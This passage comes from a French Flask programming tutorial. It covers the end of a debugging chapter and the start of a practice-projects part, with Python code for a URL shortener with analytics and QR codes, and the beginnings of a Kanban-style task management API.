          content_type='text/event-stream',
          headers={'Cache-Control': 'no-cache', 'X-Accel-Buffering': 'no'}
      )

  # Middleware pour incrémenter les compteurs
  @app.after_request
  def incrementer_compteurs(response):
      try:
          from app.utils.redis_client import redis_client
          redis_client.incr('monitor:req_count')
          if response.status_code >= 500:
              redis_client.incr('monitor:req_errors')

          # Enregistrer le temps de réponse
          duree = getattr(g, '_duree_ms', 0)
          redis_client.lpush('monitor:response_times', duree)
          redis_client.ltrim('monitor:response_times', 0, 99)  # Garder 100 dernières
      except Exception:
          pass
      return response


╔══════════════════════════════════════════════════════════════════════════════════════╗
║                   [OBJECTIF] GUIDE DE DEBUGGING RAPIDE — RÉFÉRENCE                           ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

  DIAGNOSTIC EN 5 ÉTAPES :
  ─────────────────────────
  1. Lire le message d'erreur COMPLET (pas seulement la dernière ligne)
  2. Identifier le type d'erreur (RuntimeError, IntegrityError, 404, etc.)
  3. Isoler le problème (flask shell, breakpoint, logs)
  4. Chercher la cause racine (pas le symptôme)
  5. Tester la correction (et ajouter un test pour éviter la régression)

  CHECKLIST DE DEBUG FLASK :
  ──────────────────────────
  [WHITE_SQUARE] L'erreur est en dev ou prod ?
  [WHITE_SQUARE] L'erreur est reproductible ? Conditions exactes ?
  [WHITE_SQUARE] Les logs montrent-ils quelque chose avant l'erreur ?
  [WHITE_SQUARE] La BDD est-elle dans un état cohérent ? (flask db current)
  [WHITE_SQUARE] Les variables d'environnement sont-elles correctes ?
  [WHITE_SQUARE] Le service a-t-il été redémarré récemment ?
  [WHITE_SQUARE] Y a-t-il eu des migrations récentes ?
  [WHITE_SQUARE] Y a-t-il un N+1 query (X-SQL-Queries header) ?

  COMMANDES ESSENTIELLES POUR DÉBUGGER :
  ────────────────────────────────────────
  flask shell                      -> Tester directement la BDD
  flask routes                     -> Voir toutes les routes
  flask db current                 -> Version migration actuelle
  journalctl -u bookflow -n 100    -> Logs Gunicorn
  redis-cli monitor                -> Commandes Redis en temps réel
  python scripts/diagnostic.py     -> Diagnostic complet automatique


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  FIN DE LA PARTIE 17 — DEBUGGING AVANCÉ

  [DOCS] Tu as appris :
     -> Flask Shell enrichi : shell_context_processor, inspection BDD, test services
     -> pdb / ipdb : breakpoints, commandes n/s/c/p/l/w, modifier des variables live
     -> Logging structuré JSON : FormatterJSON, RotatingFileHandler,
       niveaux différenciés, analyse avec jq
     -> Flask-DebugToolbar : requêtes SQL, profiler, variables de requête
     -> 20 erreurs courantes : DetachedInstanceError, IntegrityError,
       circular imports, N+1, CORS, migrations conflits, JWT invalid...
     -> Sentry : monitoring d'erreurs production, filtrage données sensibles,
       intégrations Flask/SQLAlchemy/Celery
     -> Debug en prod : feature flags, changement log-level à la volée,
       commandes BDD (pg_stat_activity, pg_stat_statements), Redis monitor
     -> Reproduction en local : copier logs, anonymiser BDD, reproduire la requête
     -> Dashboard live monitor avec SSE et compteurs Redis
     -> Guide de debugging rapide : 5 étapes + checklist

  -> Prochaine étape : Partie 18 — Projets Pratiques (3 mini-projets complets)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
              Flask Master Guide © 2024 — Guide Complet Génie Logiciel
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

╔══════════════════════════════════════════════════════════════════════════════════════╗
║              FLASK MASTER GUIDE — PARTIE 18 : PROJETS PRATIQUES                  ║
║         3 Mini-Projets Complets à Construire de Zéro                             ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

Partie         : 18 / 20
Chapitres      : 57 -> 59
Prérequis      : Toutes les parties précédentes
Objectif       : Consolider les acquis par la pratique sur 3 projets réels

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
                          TABLE DES MATIÈRES — PARTIE 18
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  CHAPITRE 57 — Projet 1 : TinyURL — Raccourcisseur d'URLs avec analytics
  CHAPITRE 58 — Projet 2 : TaskFlow — API de gestion de tâches (Trello-like)
  CHAPITRE 59 — Projet 3 : BlogAPI — Blog complet avec CMS headless

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━


╔══════════════════════════════════════════════════════════════════════════════════════╗
║         CHAPITRE 57 — PROJET 1 : TINYURL                                          ║
║         Raccourcisseur d'URLs avec analytics et QR codes                          ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [LISTE] CAHIER DES CHARGES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

FONCTIONNALITÉS :
  [OK] Raccourcir une URL longue -> code court (ex: http://tiny.ly/aB3xK9)
  [OK] Rediriger vers l'URL originale (301/302)
  [OK] URLs personnalisées (ex: /ma-promo au lieu de /aB3xK9)
  [OK] Expiration des liens (date ou nombre de clics max)
  [OK] Protection par mot de passe
  [OK] Analytics : nombre de clics, pays, référent, device
  [OK] QR Code pour chaque lien
  [OK] API REST complète + interface web simple

STACK TECHNIQUE :
  Flask, SQLAlchemy (SQLite/PostgreSQL), Redis (cache + compteurs),
  Marshmallow, Flask-JWT-Extended, qrcode, user-agents

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [DOSSIER] STRUCTURE DU PROJET
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

    tinyurl/
    │
    ├── app/
    │   ├── __init__.py
    │   ├── config.py
    │   ├── extensions.py
    │   │
    │   ├── models/
    │   │   ├── __init__.py
    │   │   ├── lien.py
    │   │   ├── clic.py
    │   │   └── utilisateur.py
    │   │
    │   ├── routes/
    │   │   ├── api/
    │   │   │   ├── __init__.py
    │   │   │   ├── liens.py
    │   │   │   ├── analytics.py
    │   │   │   └── auth.py
    │   │   └── redirect.py
    │   │
    │   ├── services/
    │   │   ├── lien_service.py
    │   │   ├── analytics_service.py
    │   │   └── auth_service.py
    │   │
    │   ├── tasks/
    │   │   ├── __init__.py
    │   │   └── analytics.py
    │   │
    │   ├── schemas/ (Marshmallow)
    │   │   ├── lien_schema.py
    │   │   └── user_schema.py
    │   │
    │   ├── utils/
    │   │   ├── code_gen.py
    │   │   ├── qr_gen.py
    │   │   └── security.py
    │   │
    │   └── templates/
    │       └── tiny/
    │
    ├── migrations/ (Flask-Migrate)
    ├── worker.py (Celery)
    ├── requirements.txt
    ├── .env
    └── run.py

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [ARCHIVE] MODÈLES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # app/models/lien.py
  import secrets, string
  from datetime import datetime, timezone
  from app.extensions import db

  class Lien(db.Model):
      __tablename__ = 'liens'

      id             = db.Column(db.Integer, primary_key=True)
      code           = db.Column(db.String(20), unique=True, nullable=False, index=True)
      url_originale  = db.Column(db.Text, nullable=False)
      titre          = db.Column(db.String(200), nullable=True)

      # Propriétaire (optionnel — liens anonymes possibles)
      user_id        = db.Column(db.Integer, db.ForeignKey('utilisateurs.id'), nullable=True)

      # Restrictions
      expire_le      = db.Column(db.DateTime(timezone=True), nullable=True)
      max_clics      = db.Column(db.Integer, nullable=True)  # None = illimité
      mot_de_passe   = db.Column(db.String(255), nullable=True)  # Hash bcrypt
      est_actif      = db.Column(db.Boolean, default=True)

      # Compteurs (mis à jour par Redis, persistés en BDD périodiquement)
      nb_clics       = db.Column(db.Integer, default=0)

      # Timestamps
      created_at     = db.Column(db.DateTime(timezone=True),
                                 default=lambda: datetime.now(timezone.utc))

      # Relations
      clics          = db.relationship('Clic', backref='lien',
                                       lazy='dynamic', cascade='all, delete-orphan')

      @property
      def est_expire(self) -> bool:
          if self.expire_le and datetime.now(timezone.utc) > self.expire_le:
              return True
          if self.max_clics and self.nb_clics >= self.max_clics:
              return True
          return False

      @property
      def url_courte(self) -> str:
          from flask import current_app
          base = current_app.config.get('BASE_URL', 'http://localhost:5000')
          return f"{base}/{self.code}"

      def to_dict(self):
          return {
              'id':           self.id,
              'code':         self.code,
              'url_originale': self.url_originale,
              'url_courte':   self.url_courte,
              'titre':        self.titre,
              'nb_clics':     self.nb_clics,
              'expire_le':    self.expire_le.isoformat() if self.expire_le else None,
              'max_clics':    self.max_clics,
              'est_expire':   self.est_expire,
              'est_actif':    self.est_actif,
              'created_at':   self.created_at.isoformat() if self.created_at else None
          }

  # app/models/clic.py
  class Clic(db.Model):
      __tablename__ = 'clics'

      id           = db.Column(db.Integer, primary_key=True)
      lien_id      = db.Column(db.Integer, db.ForeignKey('liens.id',
                               ondelete='CASCADE'), nullable=False, index=True)
      ip           = db.Column(db.String(45), nullable=True)  # IPv4 ou IPv6
      pays         = db.Column(db.String(2), nullable=True)   # Code ISO pays
      referent     = db.Column(db.String(500), nullable=True) # URL de provenance
      user_agent   = db.Column(db.String(500), nullable=True)
      device_type  = db.Column(db.String(20), nullable=True)  # mobile, tablet, desktop
      browser      = db.Column(db.String(50), nullable=True)
      timestamp    = db.Column(db.DateTime(timezone=True),
                               default=lambda: datetime.now(timezone.utc), index=True)


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [OUTIL] SERVICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # app/utils/code_gen.py
  import secrets, string
  from app.models import Lien

  ALPHABET = string.ascii_letters + string.digits
  # Exclure les caractères ambigus : 0, O, l, 1, I
  ALPHABET_PROPRE = 'abcdefghjkmnpqrstuvwxyzABCDEFGHJKMNPQRSTUVWXYZ23456789'

  def generer_code(longueur: int = 6) -> str:
      """Génère un code court unique et non existant en BDD."""
      while True:
          code = ''.join(secrets.choice(ALPHABET_PROPRE) for _ in range(longueur))
          if not Lien.query.filter_by(code=code).first():
              return code

  def valider_code_perso(code: str) -> tuple:
      """
      Valide un code personnalisé.
      Returns: (valide: bool, erreur: str | None)
      """
      if not code:
          return False, "Le code est vide"
      if len(code) < 3:
          return False, "Minimum 3 caractères"
      if len(code) > 20:
          return False, "Maximum 20 caractères"
      import re
      if not re.match(r'^[a-zA-Z0-9\-_]+$', code):
          return False, "Seulement lettres, chiffres, - et _"

      mots_reserves = {'api', 'admin', 'login', 'static', 'docs', 'health'}
      if code.lower() in mots_reserves:
          return False, f"'{code}' est un mot réservé"

      if Lien.query.filter_by(code=code).first():
          return False, f"Le code '{code}' est déjà utilisé"

      return True, None

  # app/utils/qr_gen.py
  import io, base64
  import qrcode  # pip install qrcode[pil]
  from qrcode.image.svg import SvgImage

  def generer_qr_png(url: str, taille: int = 10) -> str:
      """Génère un QR Code en base64 (PNG)."""
      qr = qrcode.QRCode(
          version=1,
          error_correction=qrcode.constants.ERROR_CORRECT_M,
          box_size=taille,
          border=4
      )
      qr.add_data(url)
      qr.make(fit=True)
      img = qr.make_image(fill_color='black', back_color='white')

      buffer = io.BytesIO()
      img.save(buffer, format='PNG')
      return base64.b64encode(buffer.getvalue()).decode('utf-8')

  def generer_qr_svg(url: str) -> str:
      """Génère un QR Code SVG (léger, scalable)."""
      qr = qrcode.QRCode(image_factory=SvgImage)
      qr.add_data(url)
      qr.make(fit=True)
      img = qr.make_image()
      buffer = io.BytesIO()
      img.save(buffer)
      return buffer.getvalue().decode('utf-8')

  # app/services/lien_service.py
  import bcrypt
  from datetime import datetime, timezone
  from app.extensions import db
  from app.models import Lien
  from app.utils.code_gen import generer_code, valider_code_perso

  class LienService:

      @staticmethod
      def creer(
          url: str,
          code_perso: str = None,
          titre: str = None,
          expire_le: datetime = None,
          max_clics: int = None,
          mot_de_passe: str = None,
          user_id: int = None
      ) -> Lien:
          """Crée un lien court avec toutes les options."""

          # Valider l'URL
          if not url or not url.startswith(('http://', 'https://')):
              raise ValueError("URL invalide (doit commencer par http:// ou https://)")

          if len(url) > 2048:
              raise ValueError("URL trop longue (max 2048 caractères)")

          # Déterminer le code
          if code_perso:
              valide, erreur = valider_code_perso(code_perso)
              if not valide:
                  raise ValueError(f"Code invalide : {erreur}")
              code = code_perso
          else:
              code = generer_code()

          # Hacher le mot de passe si fourni
          hash_mdp = None
          if mot_de_passe:
              hash_mdp = bcrypt.hashpw(
                  mot_de_passe.encode(), bcrypt.gensalt()
              ).decode()

          lien = Lien(
              code=code,
              url_originale=url.strip(),
              titre=(titre or '').strip() or None,
              expire_le=expire_le,
              max_clics=max_clics,
              mot_de_passe=hash_mdp,
              user_id=user_id
          )
          db.session.add(lien)
          db.session.commit()
          return lien

      @staticmethod
      def verifier_acces(lien: Lien, mot_de_passe: str = None) -> tuple:
          """
          Vérifie si un lien est accessible.
          Returns: (accessible: bool, raison: str)
          """
          if not lien.est_actif:
              return False, 'Ce lien a été désactivé'
          if lien.est_expire:
              return False, 'Ce lien a expiré'
          if lien.mot_de_passe:
              if not mot_de_passe:
                  return False, 'MOT_DE_PASSE_REQUIS'
              if not bcrypt.checkpw(mot_de_passe.encode(),
                                    lien.mot_de_passe.encode()):
                  return False, 'Mot de passe incorrect'
          return True, None

  # app/services/analytics_service.py
  from app.models import Clic, Lien
  from app.extensions import db

  class AnalyticsService:

      @staticmethod
      def enregistrer_clic(lien: Lien, request):
          """Enregistre un clic avec les données analytics."""
          from user_agents import parse as parse_ua  # pip install user-agents

          ua_str  = request.user_agent.string
          ua      = parse_ua(ua_str)
          device  = 'mobile' if ua.is_mobile else ('tablet' if ua.is_tablet else 'desktop')
          browser = ua.browser.family

          # Détecter le pays via IP (service externe ou MaxMind GeoIP)
          ip   = request.headers.get('X-Forwarded-For', request.remote_addr)
          pays = AnalyticsService._detecter_pays(ip)

          clic = Clic(
              lien_id    = lien.id,
              ip         = ip,
              pays       = pays,
              referent   = request.referrer or None,
              user_agent = ua_str[:500],
              device_type = device,
              browser    = browser[:50]
          )
          db.session.add(clic)
          lien.nb_clics += 1
          db.session.commit()

      @staticmethod
      def _detecter_pays(ip: str) -> str:
          """Détecte le pays depuis une IP (simplifié)."""
          # En prod : utiliser geoip2 + base MaxMind
          # pip install geoip2
          try:
              import geoip2.database
              with geoip2.database.Reader('GeoLite2-Country.mmdb') as reader:
                  response = reader.country(ip)
                  return response.country.iso_code
          except Exception:
              return 'XX'  # Inconnu

      @staticmethod
      def statistiques(lien: Lien) -> dict:
          """Retourne les statistiques d'un lien."""
          from sqlalchemy import func
          from datetime import timedelta

          # Par pays
          par_pays = db.session.query(
              Clic.pays, func.count(Clic.id).label('nb')
          ).filter_by(lien_id=lien.id).group_by(Clic.pays)\
           .order_by(func.count(Clic.id).desc()).all()

          # Par device
          par_device = db.session.query(
              Clic.device_type, func.count(Clic.id).label('nb')
          ).filter_by(lien_id=lien.id).group_by(Clic.device_type).all()

          # Évolution 30 jours
          depuis_30j = datetime.now(timezone.utc) - timedelta(days=30)
          par_jour = db.session.query(
              func.date(Clic.timestamp).label('date'),
              func.count(Clic.id).label('nb')
          ).filter(
              Clic.lien_id == lien.id,
              Clic.timestamp >= depuis_30j
          ).group_by(func.date(Clic.timestamp))\
           .order_by('date').all()

          return {
              'total_clics':  lien.nb_clics,
              'par_pays':     [{'pays': p, 'nb': n} for p, n in par_pays],
              'par_device':   [{'device': d, 'nb': n} for d, n in par_device],
              'par_jour':     [{'date': str(d), 'nb': n} for d, n in par_jour]
          }


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [WEB] ROUTES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # app/routes/redirect.py
  from flask import Blueprint, redirect, request, jsonify, render_template, abort

  redirect_bp = Blueprint('redirect', __name__)

  @redirect_bp.route('/<string:code>', methods=['GET'])
  def rediriger(code):
      """
      GET /<code>
      Redirige vers l'URL originale du lien.
      """
      lien = Lien.query.filter_by(code=code).first()
      if not lien:
          abort(404)

      # Vérifier l'accès
      mot_de_passe = request.args.get('p') or request.form.get('mot_de_passe')
      accessible, raison = LienService.verifier_acces(lien, mot_de_passe)

      if not accessible:
          if raison == 'MOT_DE_PASSE_REQUIS':
              # Afficher le formulaire de saisie du mot de passe
              return render_template('tiny/mdp_requis.html', code=code)
          return render_template('tiny/lien_expire.html', raison=raison), 410

      # Enregistrer le clic (en arrière-plan)
      from app.tasks.analytics import enregistrer_clic_async
      enregistrer_clic_async.delay(lien.id, {
          'ip':        request.headers.get('X-Forwarded-For', request.remote_addr),
          'referent':  request.referrer,
          'user_agent': request.user_agent.string
      })

      # Redirection
      code_http = 301 if lien.expire_le is None and lien.max_clics is None else 302
      # 301 = permanent (mis en cache par le navigateur)
      # 302 = temporaire (pour les liens avec expiration ou limite de clics)
      return redirect(lien.url_originale, code=code_http)

  # app/routes/api/liens.py
  from flask import Blueprint, jsonify, request
  from app.services.lien_service import LienService
  from app.utils.qr_gen import generer_qr_png

  api_liens_bp = Blueprint('api_liens', __name__)

  @api_liens_bp.route('/', methods=['POST'])
  def creer_lien():
      """POST /api/v1/liens/ — Crée un lien court."""
      data = request.get_json(silent=True) or {}

      try:
          lien = LienService.creer(
              url         = data.get('url', ''),
              code_perso  = data.get('code'),
              titre       = data.get('titre'),
              expire_le   = _parse_date(data.get('expire_le')),
              max_clics   = data.get('max_clics'),
              mot_de_passe = data.get('mot_de_passe')
          )
          return jsonify({'success': True, 'data': lien.to_dict()}), 201

      except ValueError as e:
          return jsonify({'error': str(e)}), 400

  @api_liens_bp.route('/<string:code>/qr', methods=['GET'])
  def get_qr(code):
      """GET /api/v1/liens/<code>/qr — Retourne le QR Code du lien."""
      lien = Lien.query.filter_by(code=code).first_or_404()
      format_qr = request.args.get('format', 'png')

      if format_qr == 'svg':
          from app.utils.qr_gen import generer_qr_svg
          svg = generer_qr_svg(lien.url_courte)
          return svg, 200, {'Content-Type': 'image/svg+xml'}
      else:
          qr_b64 = generer_qr_png(lien.url_courte)
          return jsonify({
              'success': True,
              'qr_base64': qr_b64,
              'url': lien.url_courte
          })

  @api_liens_bp.route('/<string:code>/stats', methods=['GET'])
  def get_stats(code):
      """GET /api/v1/liens/<code>/stats — Analytics du lien."""
      lien = Lien.query.filter_by(code=code).first_or_404()
      from app.services.analytics_service import AnalyticsService
      stats = AnalyticsService.statistiques(lien)
      return jsonify({'success': True, 'lien': lien.to_dict(), 'stats': stats})

  def _parse_date(date_str):
      if not date_str:
          return None
      from datetime import datetime, timezone
      try:
          return datetime.fromisoformat(date_str.replace('Z', '+00:00'))
      except ValueError:
          raise ValueError(f"Format de date invalide : {date_str}")


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [OBJECTIF] EXERCICES PROJET 1
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  1. FACILE : Construire le projet de zéro en suivant le code ci-dessus.
     Tester avec curl : raccourcir une URL -> rediriger -> voir les stats.

  2. INTERMÉDIAIRE : Ajouter un tableau de bord HTML qui liste les liens
     de l'utilisateur avec leurs statistiques.

  3. AVANCÉ : Implémenter la détection de pays via l'API ipapi.co
     (gratuite, 1000 requêtes/jour) pour les analytics.

  4. EXPERT : Ajouter un système d'expiration automatique via Celery Beat.
     Les liens expirés sont soft-supprimés chaque heure.


╔══════════════════════════════════════════════════════════════════════════════════════╗
║         CHAPITRE 58 — PROJET 2 : TASKFLOW                                         ║
║         API de gestion de tâches type Trello avec colonnes et cartes              ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [LISTE] CAHIER DES CHARGES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

FONCTIONNALITÉS :
  [OK] Projets (workspaces) multi-utilisateurs
  [OK] Tableaux Kanban avec colonnes configurables
  [OK] Tâches (cartes) avec : titre, description, assignation, priorité, tags
  [OK] Drag & drop de colonnes (réordonnancement)
  [OK] Commentaires sur les tâches
  [OK] Pièces jointes (upload de fichiers)
  [OK] Dates d'échéance avec alertes
  [OK] Filtres avancés et recherche
  [OK] API REST complète + WebSocket pour les mises à jour temps réel

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [ARCHIVE] MODÈLES COMPLETS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # app/models/taskflow.py
  from datetime import datetime, timezone
  from app.extensions import db

  # Table many-to-many : Membres d'un projet
  membres_projets = db.Table('membres_projets',
      db.Column('projet_id', db.Integer, db.ForeignKey('projets.id'), primary_key=True),
      db.Column('user_id',   db.Integer, db.ForeignKey('utilisateurs.id'), primary_key=True),
      db.Column('role', db.String(20), default='membre')  # admin, membre, observer
  )

  # Table many-to-many : Tags des tâches
  taches_tags = db.Table('taches_tags',
      db.Column('tache_id', db.Integer, db.ForeignKey('taches.id'), primary_key=True),
      db.Column('tag_id',   db.Integer, db.ForeignKey('tags.id'),   primary_key=True)
  )

  class Projet(db.Model):
      """Un espace de travail collaboratif."""
      __tablename__ = 'projets'

      id          = db.Column(db.Integer, primary_key=True)
      nom         = db.Column(db.String(200), nullable=False)
      description = db.Column(db.Text, nullable=True)
      couleur     = db.Column(db.String(7), default='#3b82f6')  # Couleur hex
      owner_id    = db.Column(db.Integer, db.ForeignKey('utilisateurs.id'), nullable=False)
      est_archive = db.Column(db.Boolean, default=False)
      created_at  = db.Column(db.DateTime(timezone=True),
                              default=lambda: datetime.now(timezone.utc))

      # Relations
      colonnes = db.relationship('Colonne', backref='projet',
                                  order_by='Colonne.ordre',
                                  cascade='all, delete-orphan')
      membres  = db.relationship('Utilisateur', secondary=membres_projets,
                                  backref=db.backref('projets', lazy='dynamic'))
      tags     = db.relationship('Tag', backref='projet',
                                  cascade='all, delete-orphan')

      def to_dict(self, include_colonnes=False):
          data = {
              'id':         self.id,
              'nom':        self.nom,
              'description': self.description,
              'couleur':    self.couleur,
              'owner_id':   self.owner_id,
              'est_archive': self.est_archive,
              'nb_membres': len(self.membres),
              'created_at': self.created_at.isoformat() if self.created_at else None
          }
          if include_colonnes:
              data['colonnes'] = [c.to_dict(include_taches=True) for c in self.colonnes]
          return data

  class Colonne(db.Model):
      """Une colonne Kanban dans un projet (ex: À faire, En cours, Terminé)."""
      __tablename__ = 'colonnes'

      id        = db.Column(db.Integer, primary_key=True)
      projet_id = db.Column(db.Integer, db.ForeignKey('projets.id',
                            ondelete='CASCADE'), nullable=False)
      nom       = db.Column(db.String(100), nullable=False)
      ordre     = db.Column(db.Integer, nullable=False, default=0)
      couleur   = db.Column(db.String(7), nullable=True)
      limite_wip = db.Column(db.Integer, nullable=True)  # Work In Progress limit

      taches = db.relationship('Tache', backref='colonne',
                                order_by='Tache.ordre',
                                cascade='all, delete-orphan')

      def to_dict(self, include_taches=False):
          data = {
              'id':       self.id,
              'nom':      self.nom,
              'ordre':    self.ordre,
              'couleur':  self.couleur,
              'limite_wip': self.limite_wip,
              'nb_taches': len(self.taches)
          }
          if include_taches:
              data['taches'] = [t.to_dict() for t in self.taches]
          return data

  class Tache(db.Model):
      """Une carte/tâche dans une colonne Kanban."""
      __tablename__ = 'taches'

      id           = db.Column(db.Integer, primary_key=True)
      colonne_id   = db.Column(db.Integer, db.ForeignKey('colonnes.id',
                               ondelete='CASCADE'), nullable=False, index=True)
      titre        = db.Column(db.String(500), nullable=False)
      description  = db.Column(db.Text, nullable=True)
      ordre        = db.Column(db.Integer, nullable=False, default=0)
      priorite     = db.Column(db.String(20), default='normale')
      # priorite : urgent, haute, normale, basse

      # Assignation
      assignee_id  = db.Column(db.Integer, db.ForeignKey('utilisateurs.id'), nullable=True)
      createur_id  = db.Column(db.Integer, db.ForeignKey('utilisateurs.id'), nullable=False)

      # Dates
      date_echeance = db.Column(db.DateTime(timezone=True), nullable=True)
      terminee_le   = db.Column(db.DateTime(timezone=True), nullable=True)
      created_at    = db.Column(db.DateTime(timezone=True),
                                default=lambda: datetime.now(timezone.utc))

      est_terminee  = db.Column(db.Boolean, default=False)

      # Relations
      tags          = db.relationship('Tag', secondary=taches_tags, backref='taches')
      commentaires  = db.relationship('Commentaire', backref='tache',
                                       order_by='Commentaire.created_at',
                                       cascade='all, delete-orphan')
      fichiers      = db.relationship('FichierJoint', backref='tache',
                                       cascade='all, delete-orphan')

      @property
      def est_en_retard(self):
          if self.est_terminee or not self.date_echeance:
              return False
          return datetime.now(timezone.utc) > self.date_echeance

      def to_dict(self):
          return {
              'id':            self.id,
              'titre':         self.titre,
              'description':   self.description,
              'ordre':         self.ordre,
              'priorite':      self.priorite,
              'assignee_id':   self.assignee_id,
              'date_echeance': self.date_echeance.isoformat() if self.date_echeance else None,
              'est_terminee':  self.est_terminee,
              'est_en_retard': self.est_en_retard,
              'tags':          [{'id': t.id, 'nom': t.nom, 'couleur': t.couleur}
                                for t in self.tags],
              'nb_commentaires': len(self.commentaires),
              'created_at':    self.created_at.isoformat() if self.created_at else None
          }

  class Tag(db.Model):
      __tablename__ = 'tags'
      id        = db.Column(db.Integer, primary_key=True)
      projet_id = db.Column(db.Integer, db.ForeignKey('projets.id',
                            ondelete='CASCADE'), nullable=False)
      nom       = db.Column(db.String(50), nullable=False)
      couleur   = db.Column(db.String(7), default='#6366f1')

  class Commentaire(db.Model):
      __tablename__ = 'commentaires'
      id        = db.Column(db.Integer, primary_key=True)
      tache_id  = db.Column(db.Integer, db.ForeignKey('taches.id',
                            ondelete='CASCADE'), nullable=False, index=True)
      auteur_id = db.Column(db.Integer, db.ForeignKey('utilisateurs.id'), nullable=False)
      contenu   = db.Column(db.Text, nullable=False)
      created_at = db.Column(db.DateTime(timezone=True),
                             default=lambda: datetime.now(timezone.utc))
      modifie_le = db.Column(db.DateTime(timezone=True), nullable=True)

  class FichierJoint(db.Model):
      __tablename__ = 'fichiers_joints'
      id        = db.Column(db.Integer, primary_key=True)
      tache_id  = db.Column(db.Integer, db.ForeignKey('taches.id',
                            ondelete='CASCADE'), nullable=False)
      nom_fichier  = db.Column(db.String(255), nullable=False)
      chemin       = db.Column(db.String(500), nullable=False)
      taille_bytes = db.Column(db.Integer, nullable=False)
      type_mime    = db.Column(db.String(100), nullable=True)
      uploader_id  = db.Column(db.Integer, db.ForeignKey('utilisateurs.id'), nullable=False)
      created_at   = db.Column(db.DateTime(timezone=True),
                               default=lambda: datetime.now(timezone.utc))


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [WEB] ROUTES API PRINCIPALES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # app/routes/api/projets.py
  from flask import Blueprint, jsonify, request
  from app.extensions import db
  from app.models.taskflow import Projet, Colonne, Tache
  from app.utils.jwt_utils import login_requis, obtenir_utilisateur_courant

  projets_bp = Blueprint('projets', __name__)

  @projets_bp.route('/', methods=['GET'])
  @login_requis
  def mes_projets():
      """Liste les projets de l'utilisateur connecté."""
      user = obtenir_utilisateur_courant()
      projets = Projet.query.filter(
          Projet.est_archive == False
      ).filter(
          db.or_(
              Projet.owner_id == user.id,
              Projet.membres.any(id=user.id)
          )
      ).all()
      return jsonify({'success': True, 'data': [p.to_dict() for p in projets]})

  @projets_bp.route('/', methods=['POST'])
  @login_requis
  def creer_projet():
      """Créer un nouveau projet avec des colonnes par défaut."""
      user = obtenir_utilisateur_courant()
      data = request.get_json(silent=True) or {}

      if not data.get('nom', '').strip():
          return jsonify({'error': 'Le nom du projet est requis'}), 400

      projet = Projet(
          nom=data['nom'].strip(),
          description=data.get('description', '').strip() or None,
          couleur=data.get('couleur', '#3b82f6'),
          owner_id=user.id
      )
      db.session.add(projet)
      db.session.flush()

      # Colonnes par défaut (ou colonnes personnalisées)
      colonnes_defaut = data.get('colonnes', [
          {'nom': 'À faire',   'couleur': '#94a3b8'},
          {'nom': 'En cours',  'couleur': '#3b82f6'},
          {'nom': 'En review', 'couleur': '#f59e0b'},
          {'nom': 'Terminé',   'couleur': '#22c55e'}
      ])

      for i, col_data in enumerate(colonnes_defaut):
          colonne = Colonne(
              projet_id=projet.id,
              nom=col_data['nom'],
              ordre=i,
              couleur=col_data.get('couleur')
          )
          db.session.add(colonne)

      # Ajouter le créateur comme membre admin
      projet.membres.append(user)
      db.session.commit()

      return jsonify({'success': True, 'data': projet.to_dict(include_colonnes=True)}), 201

  @projets_bp.route('/<int:projet_id>/board', methods=['GET'])
  @login_requis
  def get_board(projet_id):
      """Récupère le tableau Kanban complet avec toutes les tâches."""
      user = obtenir_utilisateur_courant()
      projet = Projet.query.get_or_404(projet_id)

      # Vérifier que l'utilisateur est membre
      if user.id != projet.owner_id and user not in projet.membres:
          return jsonify({'error': 'Accès refusé'}), 403

      from sqlalchemy.orm import joinedload
      projet = Projet.query.options(
          joinedload(Projet.colonnes).joinedload(Colonne.taches)
      ).get(projet_id)

      return jsonify({'success': True, 'data': projet.to_dict(include_colonnes=True)})

  @projets_bp.route('/<int:projet_id>/colonnes/<int:colonne_id>/taches', methods=['POST'])
  @login_requis
  def creer_tache(projet_id, colonne_id):
      """Créer une tâche dans une colonne."""
      user = obtenir_utilisateur_courant()
      colonne = Colonne.query.get_or_404(colonne_id)

